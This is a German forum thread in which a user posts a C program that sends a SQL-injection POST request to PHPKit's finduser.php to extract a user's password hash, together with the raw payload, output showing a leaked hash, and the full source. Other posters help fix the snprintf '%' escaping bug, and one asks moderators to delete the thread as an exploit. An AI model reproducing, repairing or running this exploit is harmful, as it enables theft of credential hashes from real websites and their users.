HTTP Post Request senden
-
Also ich weiß nicht in welches Unterforum ich schreiben ggf. bitte verschieben..
Also ich habe ein Programm geschrieben das folgendes machen soll.telnet www.host.de 80
POST /popup.php?path=misc/finduser.php HTTP/1.1
Host: www.host.de
Keep-Alive: 300
Content-Type: application/x-www-form-urlencoded
Content-Length: 107search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D1%2F*&action=Suche&User=-1
Dieses Post Request ist eine sog. SQL injection die den Hash des Benutzers mit der Userid 1 ausgibt(wenn es auf eine Seite gesendet wird die vulnerable ist).Hier der wichtigste Output:
<input type="text" size="15" name="search_user" value="' AND 1=0 UNION SELECT user_pw FROM phpkit_user WHERE user_id=1/*" />
<input type="submit" name="action" value="Suche" /></td>
</tr>
<tr>
<td class="left">Suchergebnis</td>
<td class="right">
<select size="1" name="User" class="w90" onChange="selectUser()">
<option value="-1">Benutzer wählen:</option>
<option value="-1">_________________</option>
<option value="1db38bd497355e01d61b5ee40969ab4c">1db38bd497355e01d61b5ee40969ab4c</option>
</select>Die jeweils fett gedruckten sind die umgewandlte SQL injection und der HASH.
Das mit dem verbinden konnte ich relativ leicht mit sockets lösen nur das dann das passiert:
<input type="text" size="15" name="search_user" value="' AND 1=0 UNION SELECT user_pw FROM phpkit_user WHERE user_id=10.000000*" />
<input type="submit" name="action" value="Suche" /></td>
</tr></form>
Aus der Sql injection mit Userid 1 ;ist eine geworden mit Userid 10.000000;
hier ein Auschnitt aus dem Code:snprintf(request, sizeof(request),"POST /popup.php?path=misc/finduser.php HTTP/1.1\r\n" "Host: %s\r\n" "Keep-Alive: 300\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 107\r\n\r\n" "search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D1%2F*&action=Suche&User=-1",hostname);
Eigentlich muss da der Fehler liegen aber ich sehe ihn einfach nicht.
Ich hoffe jemand weiß hilfe..
Hier noch zur info der ganze code:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #define BUF_SIZ 4096 int send_request(const int sock, const char *hostname) { char request[BUF_SIZ]; snprintf(request, sizeof(request),"POST /popup.php?path=misc/finduser.php HTTP/1.1\r\n" "Host: %s\r\n" "Keep-Alive: 300\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 107\r\n\r\n" "search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D1%2F*&action=Suche&User=-1",hostname); if (send(sock, request, strlen(request), 0) == -1) { perror("send() failed"); return 1; } return 0; } int view_response(const int sock) { char response[BUF_SIZ]; int bytes; while((bytes = recv(sock, response, sizeof(response), 0)) > 0) fwrite(response, 1, bytes, stdout); if (bytes < 0) { perror("recv() failed"); return 1; } return 0; } int main(int argc, char *argv[]) { struct hostent *host; struct sockaddr_in addr; int s; if (argc < 2) { fprintf(stderr, "usage: %s <host>\n", argv[0]); return 1; } if (!inet_aton(argv[1], &addr.sin_addr)) { host = gethostbyname(argv[1]); if (!host) { herror("gethostbyname() failed"); return 2; } addr.sin_addr = *(struct in_addr*)host->h_addr; } s = socket(PF_INET, SOCK_STREAM, 0); if (s == -1) { perror("socket() failed"); return 3; } printf("connecting to %s:80...", inet_ntoa(addr.sin_addr)); fflush(stdout); addr.sin_port = htons(80); addr.sin_family = AF_INET; if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1) { perror("connect() failed"); return 4; } puts("ok."); if (send_request(s, argv[1])) return 5; if (view_response(s)) return 6; close(s); return 0; }
-
In deinem Aufruf von snprintf steht im Format-Element: %3D1%2F
Das sind zwei Zahlen: eine Dezimalzahl und eine Float-Zahl.
Du hast aber nur einen Parameter danach: hostname. Dann nichts mehr. Das kann nur seltsame Ausgaben liefern.
EDIT:
Da sind noch mehrere %-Zeichen drin. Wenn du ein %-Zeichen in einem *printf-Format-Element willst, musst du sagen: "%%".
-
Die zeichen in
search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D1%2F*&action=Suche&User=-1
sollen ingoriert werden...
"search_user=%%27+AND+1%%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%%3D1%%2F*&action=Suche&User=-1"
funktioniert nicht
Danke
-
@Mods bitte löscht den Thread. Exploits sind verboten!!
-
Informationsfreiheit!